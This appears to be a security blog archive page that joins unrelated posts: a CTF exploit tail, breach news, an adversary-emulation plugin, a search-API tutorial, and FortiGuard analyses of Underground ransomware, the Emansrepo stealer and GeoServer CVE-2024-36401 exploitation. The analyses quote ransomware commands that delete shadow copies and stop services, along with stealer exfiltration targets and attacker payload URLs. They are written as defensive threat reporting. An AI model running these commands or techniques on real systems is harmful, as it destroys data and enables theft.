crafted_func = craft_object(fakeClosure)

crafted_func(0x1337)

and…

Wrapping it up

Solving this challenge was true hacker enjoyment – this is the joy of weird machines!

Before closing this entry, I wanted to congratulate the author of the challenge (and of the attached blogpost). It is rare to find content of this quality. Personally, I think that the idea of preparing challenges as companion content for hacking writeups is a great honking ideas, and we should do more of it.

In this blogpost, we hacked with interpreters, confusions, exploitation primitives and WASM internals. I hope you’ve enjoyed the ride, and I salute you until the next one.

Enjoy!

Fortinet Confirms Third-Party Data Breach Amid Hacker’s 440 GB Theft Claim

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Fortinet, a major player in the global cybersecurity sector, has disclosed a data breach involving a third-party service, affecting a small number of its Asia-Pacific customers. The breach reportedly exposed limited customer data stored on a cloud-based shared file drive used by Fortinet. However, a hacker, operating under the alias “Fortibitch,” has claimed responsibility for stealing 440 GB of data from the company and leaking it online.

Fortinet’s operations primarily cater to the enterprise sector, offering endpoint security solutions, firewall management, and cloud security services. With a market valuation of $60 billion, it ranks among the top cybersecurity firms globally, alongside Palo Alto Networks and CrowdStrike. Its customers span various sectors, including critical infrastructure and government agencies across Five Eyes nations.

Fortinet’s incident disclosure

In a statement released to Australian media Cyber Daily, Fortinet confirmed that an unauthorized individual gained access to a third-party cloud drive used by the company. The breach is reportedly limited to a small subset of files, and Fortinet assured that the compromised data involved a restricted number of customers. The company has since notified the affected clients and emphasized that, so far, there is no evidence of malicious activity targeting its customers.

“An individual gained unauthorized access to a limited number of files stored on Fortinet’s instance of a third-party cloud-based shared file drive, which included limited data related to a small number of Fortinet customers. We have communicated directly with customers as appropriate,” a Fortinet spokesperson stated. The company also affirmed that the breach has not impacted its operations, products, or services, downplaying any broader implications.

Cyber Daily also reported that the Australian National Office of Cyber Security has acknowledged the incident, stating that they are aware of the reports and ready to assist if needed. At present, no details have emerged regarding the potential involvement of Australian federal government data or critical infrastructure.

Hacker’s claims of data theft

In contrast to Fortinet’s more cautious statement, a hacker who goes by “Fortibitch” made bold claims on BreachForums, a notorious cybercrime platform. The hacker asserts that 440 GB of data has been extracted from Fortinet’s Azure SharePoint, where the files were allegedly stored.

The post includes the credentials to access this data through an S3 bucket. However, this is more of a proof of the breach to the firm and the public, rather than an offering to anyone with the means to retrieve it, as access to that database should be closed now.

The threat actor also referenced Fortinet’s recent acquisitions of Next DLP and Lacework, suggesting the data loss resulted during system/data migrations, which is a particularly risky period for organizations. In the same post, the hacker taunted Fortinet’s founder, Ken Xie, accusing him of abandoning ransom negotiations. The hacker questioned why Fortinet had not yet filed an SEC 8-K disclosure, which would be required for significant incidents affecting publicly traded companies.

CyberInsider has contacted Fortinet to independently confirm if their incident disclosure is connected to the threat actor’s claims, and we will update this story as soon as we hear back from the infosec giant.

Update: Fortinet published an announcement about the incident, clarifying that there was no ransomware or encryption involved, yet still not addressing the validity of the threat actor’s claims.

Adversary Emulation is a Complicated Profession – Intelligent Cyber Adversary Emulation with the Bounty Hunter

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Cyber Adversary Emulation

Cyber adversary emulation is an assessment method where tactis, techniques, and procedures (TTPs) of real-world attackers are used to test the security controls of a system. It helps to understand how an attacker might penetrate defenses, to evaluate installed security mechanisms and to improve the security posture by addressing identified weaknesses. Furthermore, it allows running training scenarios for security professionals, e.g., in cyber ranges where practical exercises can be performed. Unfortunately, adversary emulation requires significant time, effort, and specialized professionals to conduct.

Cyber Adversary Emulation Tools

In order to reduce the costs and increase the effectiveness of security assessments, adversary emulation tools can be used to automate the emulation of real-world attackers. Also, such tools include built-in logging and reporting features that simplify documenting the assessment. Thus, assessments become more accessible for less experienced personnel and more resource-efficient when using adversary emulation tools. But the automation process also has drawbacks, e.g., they often depend on predefined playbooks resulting in limited scenario coverage, a lack of adaptability, and a high predictability. As a consequence, simulated attacks fail more often and trainee personnel might recognize an attacker from previous scenarios, resulting in a lower quality in training experience.

Introducing Caldera and its Decision Engine

Caldera is an open-source, plugin-based cybersecurity platform developed by MITRE that can be used to emulate cyber adversaries. It does not depend on playbooks as strongly as other adversary emulation tools do – instead it uses adversary profiles and planners. While adversary profiles contain attacks steps to execute, the planners are unique decision logics that decide if, when, and how a step should be executed. Even though Caldera comes with several planners out-of-the-box, it still has some limitations: (1) Repeating a scenario results in the same behavior since the planners make deterministic decisions, (2) only post-compromise methods are supported, and (3) simulated attack behavior can be unrealistic due to planner limitations. To overcome these limitations, we developed and implemented a new plugin for Caldera – the Bounty Hunter.

The Bounty Hunter

The Bounty Hunter is a novel plugin for Caldera. Its biggest asset is the Bounty Hunter Planner that allows the emulation of complete, realistic cyberattack chains. Bounty Hunter’s key features are:

Weighted-Random Attack Behavior. The Bounty Hunter’s attack behavior is goal-oriented and reward-driven, similar to Caldera’s Look-Ahead Planner. But instead of picking the ability with the highest future reward value every time, it offers the possibility to pick the next ability weighted-randomly. This adds an uncertainty to the planner’s behavior which allows repeated runs of the same operation with different results. This is especially useful in training environments.
Support for Initial Access and Privilege Escalation. At the moment, no Caldera planner offers support for initial access or privilege escalation methods. The Bounty Hunter extends Caldera’s capabilities by offering support for both in a fully autonomous manner. This enables it to emulate complete cyberattack chains.
Further Configurations for More Sophisticated and Realistic Attack Behavior. The Bounty Hunter offers various configuration parameters, e.g., “locking” abilities, reward updates, and final abilities, to customize the emulated attack behavior.

The following two sections introduce two example scenarios to showcase the capabilities of the Bounty Hunter. The first example describes how it emulates complete cyberattack chains, including initial access and privilege escalation. In the second scenario, the Bounty Hunter is tasked to emulate a multistep attack based on an APT29 campaign to demonstrate the level of complexity that it can achieve.

Scenario #1 – Initial Access and Privilege Escalation

This example scenario demonstrates how the Bounty Hunter is able to perform initial access and privilege escalation autonomously. The results of the demo operation using the Bounty Hunter and a demo adversary profile are shown in the picture below. The operation is started with a Caldera agent (yjjtqs) running on the same machine as the Caldera server, i.e., a machine that is already controlled by the adversary.

As first step, the Bounty Hunter executes a Nmap host scan to find potential targets, followed by a Nmap port scan of found systems to gather information about them. Depending on the gathered port as well as service and version information, an initial access agenda is chosen and executed. In this scenario, the emulated adversary found an open SSH port and decides to try an SSH brute force attack. It successfully gathers valid SSH credentials and uses them to copy and start a new Caldera agent on the target machine (ycchap). Next, the Bounty Hunter detects that it needs elevated privileges for its chosen final ability (Credential Dumping) and decides to start a privilege escalation by running a UAC Bypass. As a result of this step, a new elevated agent was started (ebdwxy) and the final ability can be executed, concluding the operation.


Example operation to demonstrate Initial Access and Privilege Escalation with the Bounty Hunter and a demo adversary profile. Note how three different agents are used during the different phases.

Scenario #2 – Emulating an APT29 Campaign

The level of complexity the Bounty Hunter supports was tested using the APT29 Day2 data from the adversary emulation library of the Center for Threat Informed Defense. The resulting attack chain including fact-links between steps is shown in the figure below. The test showed that the Bounty Hunter is able to initially access a Windows Workstation using SSH brute force, elevate its privileges automatically using a Windows UAC Bypass, and finally compromise the whole domain using a Kerberos Golden Ticket Attack.

To achieve its goal, the Bounty Hunter was only provided with a high reward of the final ability that executes a command using the Golden Ticket and the name of the interface to scan initially. All other information needed for the successful execution, including the domain name, domain admin credentials, SID values, and NTLM hashes, were collected autonomously.


Example operation to demonstrate the level of complexity the Bounty Hunter supports based on an APT29 campaign. During the campaign, a Windows Active Directory Domain is compromised by running a Kerberos Golden Ticket Attack.

Configuration of the Bounty Hunter

The Bounty Hunter can be configured in various ways to further customize the emulated attack behavior. Possible configurations range from custom ability rewards, over final and locked abilities to custom ability reward updates. For detailed information on the configuration possibilities, please refer to the description in the GitHub repository .

Conclusion

Cyber adversary emulation is complicated and different approaches suffer from different drawbacks. Common challenges of cyber adversary emulation tools (such as the well-known cybersecurity platform Caldera) are their predictability and limitations in their scope. To overcome these challenges, we developed and implemented a new Caldera plugin – the Bounty Hunter. The capabilities of the Bounty Hunter were demonstrated in two different scenarios, showing that it is capable of emulating initial access and privilege escalation methods as well as handling complex, multistep cyberattack chains, e.g., an attack based on an APT29 campaign.

The Bounty Hunter is released open-source on GitHub with (deliberately unsophisticated) proof-of-concept attacks for Windows and Linux targets.

Build Your Own Google: Create a Custom Search Engine with Trusted Sources

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Step-by-Step Guide to Setting Up and Using the Custom Search API in Google Colab

Introduction:

Have you ever wished for a more personalized search engine that caters exclusively to your preferences and trusted sources? In this tutorial, we’ll show you how to create your own custom search engine using Google’s Programmable Search Engine and call the Custom Search API in Google Colab using Python. Say hello to your very own, tailored Google!

Step 1: Set Up the Custom Search API

Visit the Google Developers Console: https://console.developers.google.com/

2. Create a new project by clicking on the “Select a project” dropdown menu at the top right corner of the page, then click on “New Project.”

3. Enter your project name, then click “Create.”

4. Navigate to the “Dashboard” tab on the left panel, click “Enable APIs and Services,” and search for “Custom Search API.”

5. Enable the Custom Search API and create credentials (API key) by clicking on “Create Credentials.”

You would think that creating your API would be enough but it is not. After you select MANAGE and you enable your key, you must select TRY IN API EXPLORER and in that page you have to select “Get a Key” and only then will you have the key that you need.

6. Keep your API key handy, as we will use it to make API calls.

Step 2: Create Your Custom Search Engine

Visit https://programmablesearchengine.google.com/about/

2. Click “Get Started” and sign in with your Google account.

3. Click “New search engine” and follow the steps to set up your custom search engine.

Enter sites to search (e.g., “https://www.nytimes.com/” or “https://www.bbc.com/“).
Name your search engine.
Click “Create.”

4. Customize your search engine by configuring settings under the “Basics” and “Sites to search” tabs.

5. Navigate to the “Setup” tab to retrieve your “cx” parameter, which is the search engine ID.

Step 3: Use Google Colab to Call the Custom Search API

Visit https://colab.research.google.com/ and sign in with your Google account.
Click “File” > “New notebook” to create a new Python notebook.

Step 4: Install Required Libraries and Set Up API Calls

import requests
import json
import pandas as pd

api_key = "YOUR_API_KEY"
cx = "YOUR_CX"
query = "Your Search Query Here"

url = f"https://www.googleapis.com/customsearch/v1?key={api_key}&cx={cx}&q={query}"
response = requests.get(url)
data = json.loads(response.text)

# Check for errors or empty search results
if 'error' in data:
    print("Error:", data['error']['message'])
elif 'items' not in data:
    print("No search results found.")
else:
    # Extract search results
    search_results = data['items']

    # Create a pandas DataFrame
    columns = ['Title', 'Link', 'Snippet']
    df = pd.DataFrame(columns=columns)

    for result in search_results:
        title = result['title']
        link = result['link']
        snippet = result['snippet']
        df = df.append({'Title': title, 'Link': link, 'Snippet': snippet}, ignore_index=True)

    # Display the DataFrame
    print(df)

Step 5: Execute Your Custom Search

Replace “Your Search Query Here” with a query of your choice.
Run the code to see the search results in a pandas DataFrame.

Conclusion:

You’ve now built your very own custom search engine using Google’s Programmable Search Engine and learned how to call the Custom Search API in Google Colab using Python. With this powerful tool, you can tailor search results to your preferences and trusted sources. It’s time to enjoy the power of personalized search and unlock the full potential of Google search for your needs!

Ransomware Roundup – Underground

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The Ransomware Roundup report aims to provide readers with brief insights into the evolving ransomware landscape and the Fortinet solutions that protect against those variants.

This edition of the Ransomware Roundup covers the Underground ransomware.

Affected platforms: Microsoft Windows
Impacted parties: Microsoft Windows
Impact: Encrypts victims’ files and demands ransom for file decryption
Severity level: High

Underground Ransomware Overview

The first sample of Underground ransomware was first observed in early July 2023, on a publicly available file scanning site. This roughly coincides with the timing of the first victim posted on its data leak site on July 13, 2023.

Like most ransomware, this ransomware encrypts files on victims’ Windows machines and demands a ransom to decrypt them via dropped ransom notes.

Infection Vector

Online reports indicate that the Russia-based RomCom group, also known as Storm-0978, is deploying the Underground ransomware. This threat group is known to exploit CVE-2023-36884 (Microsoft Office and Windows HTML RCE Vulnerability), which could be the infection vector for the ransomware.

FortiGuard Labs published an Outbreak Alert on CVE-2023-36884 on July 13, 2024.

Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

The group may also use other common infection vectors such as email and purchasing access from an Initial Access Broker (IAB).

Attack Method

Once executed, the Underground ransomware deletes shadow copies with the following command:

vssadmin.exe delete shadows /all /quiet

The ransomware sets the maximum time that a RemoteDesktop/TerminalServer session can remain active on the server to 14 days (14 days after the user disconnects) using the following command:

reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d 1209600000 / f

It then stops the MS SQL Server service with the following command:

net.exe stop MSSQLSERVER /f /m

The ransomware then creates and drops a ransom note named “!!readme!!!.txt”:

Figure 1: The Underground ransomware ransom note

While the ransomware encrypts files, it does not change or append file extensions.

Figure 2: A text file before file encryption

Figure 3: A text file after file encryption

It also avoids encrypting files with the following extensions:

.sys	.exe	.dll	.bat	.bin	.cmd
.com	.cpl	.gadget	.inf1	.ins	.inx
.isu	.job	.jse	.lnk	.msc	.msi
.mst	.paf	.pif	.ps1	.reg	.rgs
.scr	.sct	.shb	shs	.u3p	.vb
.vbe	.vbs	.vbscript	.ws	.wsh	.wsf

The ransomware creates and executes temp.cmd, which performs the following actions:

Deletes the original ransomware file
Obtains a list of Windows Event logs and deletes them

Victimology and Data Leak Site

The Underground ransomware has a data leak site that posts victim information, including data stolen from victims. Currently, the data leak site lists 16 victims, with the most recent victim posted on July 3, 2024. Below is a breakdown of the victims and their verticals:

Post Date	Location of Victim	Vertical
2024/07/03	USA	Construction
2024/07/01	France	Pharmaceuticals
2024/06/17	USA	Professional Services
2024/05/27	USA	Banking
2024/05/15	USA	Medicine
2024/05/01	USA	Industry
2024/04/09	USA	Business Services
2024/04/09	USA	Construction
2024/03/25	USA	Manufacturing
2024/03/06	Korea	Manufacturing
2024/02/12	Spain	Manufacturing
2024/02/02	Germany	Industry
2023/07/31	Slovakia	Business Services
2024/07/18	Taiwan	Industry
2024/07/18	Singapore	Manufacturing
2024/07/14	Canada	Manufacturing

Figure 4: The data leak site for Underground ransomware

The data leak site also includes a drop-down box with a list of industries that the ransomware group is targeting or is allowed to target.

Figure 5: One of the victims on the data leak site

The Underground ransomware group also has a Telegram channel that was created on March 21, 2024.

Figure 6: The Underground ransomware Telegram channel

According to the Telegram channel, the ransomware group has made victims’ stolen information available on Mega, a cloud storage service provider that is being abused.

Figure 7: Telegram channel containing links to the stolen information on Mega

Fortinet Protections

The Underground ransomware described in this report is detected and blocked by FortiGuard Antivirus as:

W64/IndustrySpy.C!tr.ransom
W64/Filecoder_IndustrialSpy.C!tr.ransom
Adware/Filecoder_IndustrialSpy
Riskware/Ransom

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.

Please read the outbreak alert for protection against the potential infection vector (CVE-2023-36884) abused by the Underground ransomware:

Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

IOCs

Underground Ransomware File IOCs

SHA2	Note
9543f71d7c4e394223c9d41ccef71541e1f1eb0cc76e8fa0f632b8365069af64	Underground ransomware
9f702b94a86558df87de316611d9f1bfe99a6d8da9fa9b3d7bb125a12f9ad11f
eb8ed3b94fa978b27a02754d4f41ffc95ed95b9e62afb492015d0eb25f89956f
9d41b2f7c07110fb855c62b5e7e330a597860916599e73dd3505694fd1bbe163
cc80c74a3592374341324d607d877dcf564d326a1354f3f2a4af58030e716813
d4a847fa9c4c7130a852a2e197b205493170a8b44426d9ec481fc4b285a92666

FortiGuard Labs Guidance

Due to the ease of disruption, damage to daily operations, potential impact on an organization’s reputation, and the unwanted destruction or release of personally identifiable information (PII), etc., it is vital to keep all AV and IPS signatures up to date.

Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats:

The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.

Our FREE Fortinet Certified Fundamentals (FCF) in Cybersecurity training. The training is designed to help end users learn about today’s threat landscape and will introduce basic cybersecurity concepts and technology.

Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack.

As part of the industry’s leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts.

FortiRecon is a SaaS based Digital Risk Prevention Service backed by cybersecurity experts to provide unrivaled threat intelligence on the latest threat actor activity across the dark web, providing a rich understanding of threat actors’ motivations and TTPs. The service can detect evidence of attacks in progress allowing customers to rapidly respond to and shut down active threats.

Best Practices Include Not Paying a Ransom

Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because the payment does not guarantee that files will be recovered. According to a US Department of Treasury’s Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3).

How Fortinet Can Help

FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. Our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises).

Additionally, FortiRecon Digital Risk Protection (DRP) is a SaaS-based service that provides a view of what adversaries are seeing, doing, and planning to help you counter attacks at the reconnaissance phase and significantly reduce the risk, time, and cost of later-stage threat mitigation.

Emansrepo Stealer: Multi-Vector Attack Chains

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

In August 2024, FortiGuard Labs observed a python infostealer we call Emansrepo that is distributed via emails that include fake purchase orders and invoices. Emansrepo compresses data from the victim’s browsers and files in specific paths into a zip file and sends it to the attacker’s email. According to our research, this campaign has been ongoing since November 2023.

The attacker sent a phishing mail containing an HTML file, which was redirected to the download link for Emansrepo. This variant is packaged by PyInstaller so it can run on a computer without Python.

Figure 1: Attack flow in November 2023

Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.

As time goes by, the attack flow has become increasingly complex. Below are the attack flows we found in July and August 2024:

Figure 3: Attack flow in August and July 2024

Various stages are being added to the attack flow before downloading Emansrepo, and multiple mailboxes are used to receive different kinds of stolen data. This article will provide a detailed analysis of each attack chain and its behavior. We will then provide a quick summary of the next campaign.

Attack Flow

Chain 1

Figure 4: The phishing mail in chain 1 contains a fake download page

The attachment is a dropper that mimics a download page. It creates a link element that points to the data of Purchase-Order.7z and uses the click() method to “download” Purchase-Order.7z. Six seconds later, it redirects to a completely unrelated website.

Figure 5: Source code of the attachment

Purchase-Order.exe, the file embedded in Purchase-Order.7z, is an AutoIt-compiled executable. It doesn’t include any files, and the AutoIt script determines its behavior. The script has many unused functions, frustrating its analysis. The only meaningful code downloads preoffice.zip to the Temp folder and unzips it into % TEMP%\PythonTemp. The zip archive contains necessary Python modules and tester.py, the malicious script for information stealing.

Figure 6: The AutoIt script downloads the Python infostealer

Chain 2

Figure 7: The phishing mail in chain 2

The innermost file in P.O.7z is an HTA file. Its source file is a JavaScript file that shows a hidden window named PowerShell Script Runner and downloads the PowerShell script, script.ps1, with VBScript for the next stage.

Figure 8: The decryption algorithm of the JavaScript file and the result

The behavior of script.ps1 is similar to the AutoIt script in chain 1. It downloads preoffice.zip to the Temp folder and unzips it to %TEMP%\PythonTemp, but it executes Emansrepo using run.bat.

Figure 9: script.ps1 executes run.bat to run the infostealer

Chain 3

Figure 10: The phishing mail in chain 3

The 7z file from the link in the phishing mail contains a batch file obfuscated by BatchShield.

Figure 11: The obfuscated batch file

After deobfuscation, we can see that it is not as complicated as it first seems. It simply downloads and executes script.ps1 using PowerShell.

Figure 12: The deobfuscated batch file

Python Infostealer

According to the email receiving the data, the infostealer behavior can be divided into three parts. It creates folders to temporarily store the stolen data for each part and deletes them after sending the data to the attacker. The stolen data is attached to the email sent to the attacker.

Part 1 – User information and text files

In part 1, the Python stealer collects login data, credit card information, web history, download history, autofill, and text files (less than 0.2 MB) from the Desktop, Document, and Downloads folders.

Sender	minesmtp8714@maternamedical[.]top
Receiver	minestealer8412@maternamedical[.]top
Target	Browsersamigo, torch, kometa, orbitum, cent-browser, 7star, sputnik, vivaldi, google-chrome-sxs, google-chrome, epic-privacy-browser, microsoft-edge, uran, yandex, brave, iridium
Folder and files	%TEMP%\Browsers:Text files (less than 0.2 MB) copied from Desktop, Document, Downloads%TEMP%\Browsers\{browser name}:Saved_Passwords.txt, Saved_Credit_Cards.txt, Browser_History.txt, Download_History.txt, Autofill_Data.txt
Attachment	Zip file of %TEMP%\Browsers folder

Part 1 includes the initial features of Emansrepo since there is only code for part 1 in the November 2023 variant (e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5). It’s worth noting that emans841 report has been used as the divider in Saved_Passwords.txt since the December 2023 variant (ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a). Because of this, we call it Emansrepo.

Figure 13: The content of Saved_Passwords.txt

The variant used in November 2023 uses Prysmax Premium as the divider.

By comparing the variant in November 2023 with the first edition of the Prysmax stealer shared on GitHub, we find they contain many similar functions, though the Emansrepo stealer had fewer features. However, as parts 2 and 3 were added to Emansrepo, it has become quite different from the Prysmax stealer.

Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub

Part2 – PDF files, extensions, crypto wallets, and game platform

Part 2 copies PDF files (less than 0.1 MB) from the Desktop, Document, Downloads, and Recents folders and compresses folders of browser extensions, crypto wallets, and game platforms into zip files.

Sender	extensionsmtp@maternamedical[.]top
Receiver	filelogs@maternamedical[.]top
Target	BrowsersOpera, Chrome, Brave, Vivaldi, Yandex, EdgeCrypto walletAtomic Wallet, Guarda, Zcash, Armory, Bytecoin, Exodus, Binance, Electrum, Coinomi, jaxxGame platformSteam, Riot GamesBrowser extensionMetaMask, BNB Chain Wallet, Coinbase Wallet, Ronin Wallet, Trust Wallet, Venom Wallet, Sui Wallet, Martian Aptos & Sui Wallet, TronLink, Petra Aptos Wallet, Pontem Crypto Wallet, Fewcha Move Wallet, Math Wallet, Coin98 Wallet, Authenticator, Exodus Web3 Wallet, Phantom, Core \| Crypto Wallet & NFT, TokenPocket – Web3 & Nostr Wallet, SafePal Extension Wallet, Solflare Wallet, Kaikas, iWallet, Yoroi, Guarda, Jaxx Liberty, Wombat, Oxygen – Atomic Crypto Wallet, MEW CX, GuildWallet, Saturn Wallet, Station Wallet, Harmony, EVER Wallet, KardiaChain Wallet, Pali Wallet, BOLT X, Liquality Wallet, XDEFI Wallet, Nami, MultiversX Wallet, Temple – Tezos Wallet, XMR.PT
Folder and files in temp folder	%TEMP%\pdf_temps:PDF files (less than 0.1 MB) copied from Desktop, Document, Downloads and Recents folder{extension ID}.zip{data folder}.zip
Attachment	All files in pdf_temp

Part 3 – Cookies

Part 3 copies cookie files and zips it into {process_name}_cookies.zip.

Sender	cookiesmtp@maternamedical[.]top
Receiver	cooklielogs@maternamedical[.]top
Target	BrowsersChrome, msedge, brave, opera, 360se, 360browser, yandex, UCBrowser, QQBrowser
Folder and files in temp folder	%TEMP%\cookies_data:{process_name}_cookies.zip
Zip file	Zip files in cookies_data

New Campaign

We recently found another attack campaign using the Remcos malware, which we believe is related to the same attacker because of the phishing email.

Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.

As the above screenshot shows, these attacks have the same content but use different methods to distribute malware. The attack flow for Remcos is much simpler. The attacker just sends phishing emails with a malicious attachment. The attachment is a DBatLoader, which downloads and decrypts data for the payload. The payload is a Remcos protected by a packer.

Figure 16: Attack flow of new Remcos campaign

Conclusion

Emansrepo has been active since at least last November, and the attack method is continuously evolving. The attack vectors and malware are ever-changing and pervasive, so it’s vital for organizations to maintain cybersecurity awareness. FortiGuard will continue monitoring these attack campaigns and providing appropriate protections as required.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

W32/Kryptik.EB!tr
JS/Agent.FEI!tr
BAT/Downloader.2C22!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

Address

hxxps://bafybeigm3wrvmyw5de667rzdgdnct2fvwumyf6zyzybzh3tqvv5jhlx2ta[.]ipfs[.]dweb[.]link/wetrankfr[.]zip
hxxps://bafybeifhhbimsau6a6x4m2ghdmzer5c3ixfztpocqqudlo4oyzer224q4y[.]ipfs[.]w3s[.]link/myscr649612[.]js
https://estanciaferreira[.]com[.]br/wp-includes/TIANJIN-DOC-05082024-xls[.]7z
hxxps://dasmake[.]top/reader/timer[.]php
hxxps://hedam[.]shop/simple/Enquiry.7z
191[.]101[.]130[.]185
192[.]236[.]232[.]35

Email address

stealsmtp@dasmake[.]xyz
hanbox@dasmake[.]xyz
publicsmtp@dasmake[.]xyz
publicbox@dasmake[.]xyz
minesmtp8714@dasmake[.]xyz
minestealer8412@dasmake.xyz
minesmtp8714@maternamedical[.]top
minestealer8412@maternamedical[.]top
extensionsmtp@maternamedical[.]top
filelogs@maternamedical[.]top
cookiesmtp@maternamedical[.]top
cooklielogs@maternamedical[.]top

Phishing mail

a6c2df5df1253f50bd49e7083fef6cdac544d97db4a6c9c30d7852c4fd651921
9e5580d7c3c22e37b589ec8eea2dae423c8e63f8f666c83edabecf70a0948b99
9bd3b8d9ac6ad680b0d0e39b82a439feedd87b9af580f37fa3d80d2c252fef8c
915bad0e2dbe0a18423c046f84d0ff7232fff4e5ba255cc710783f6e4929ab32
64e5c9e7b8dfb8ca8ca73895aa51e585fa7e5414f0e1d10659d3a83b9f770333
b343cce5381b8633b3fd3da56698f60db70c75422e120235a00517d519e37d8d
32bcbce53bfee33112b447340e7114d6d46be4ccf1a5391ad685431afdc8fb86

Delivery

bee8da411e71547ac765a5e63e177b59582df438432cc3b540b57a6f1a56dd16
70ba3d67b476e98419ecbbbb5d81efcb5a07f55a92c96e7b9207176746e3b7a6
a2fa6790035c7af64146158f1ed20cb54f4589783e1f260a5d8e4f30b81df70d
4cd8c9fa7f5e2484b73ed9c7be55aa859969c3f21ca2834610102231d337841d
6670e5c7521966e82d091e7adff4e16335f03f2e2740b653adcc9bfe35c7bf9b
dd656953a6844dd9585f05545a513c4e8c2ded13e06cdb67a0e58eda7575a7a4
9866934dd2b4e411cdabaa7a96a63f153921a6489f01b0b40d7febed48b02c22

Malware

e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5
8e43c97e5bc62211b3673dee13e376a1f5026502ebe9fd9f7f455dc17c253b7f
ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a
7a9826be22b6d977d6a0e5179f84d8e88b279fe6d9df8f6c93ebc40a6ba70f06
18459be33cd4f59081098435a0fbaa649f301f985647a75d21b7fc337378e59b
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043
222dd76c461e70c3cb330bacfcf465751b07331c4f8a4415c09f4cd7c4e6fcd9
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043

Threat Actors Exploit GeoServer Vulnerability CVE-2024-36401

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: GeoServer prior to versions 2.23.6, 2.24.4, and 2.25.2
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

GeoServer is an open-source software server written in Java that allows users to share and edit geospatial data. It is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards. On July 1, the project maintainers released an advisory for the vulnerability CVE-2024-36401 (CVSS score: 9.8). Multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The shortcoming has been addressed in versions 2.23.6, 2.24.4, and 2.25.2.

On July 15, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a critical security flaw impacting OSGeo GeoServer GeoTools to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation. FortiGuard Labs added the IPS signature the next day and has observed multiple campaigns targeting this vulnerability to spread malware. The botnet family and miner groups strike the attack immediately. We also collect sidewalk backdoors, and GOREVERSE tries to exploit this vulnerability and set a connection with a command and control server (C2) to execute malicious actions.

Overview

In this article, we will explore the details of the payload and malware.

GOREVERSE

Figure 1: Attack packet

The payload retrieves a script from “hxxp://181[.]214[.]58[.]14:61231/remote.sh.” The script file first verifies the victim’s operating system and architecture to download the appropriate file, which it saves as “download_file.” It accommodates various OS types, including Linux, FreeBSD, Illumos, NetBSD, OpenBSD, and Solaris. After execution, it deletes the file to remove traces of its activity.

Figure 2: Script file “remote.sh”

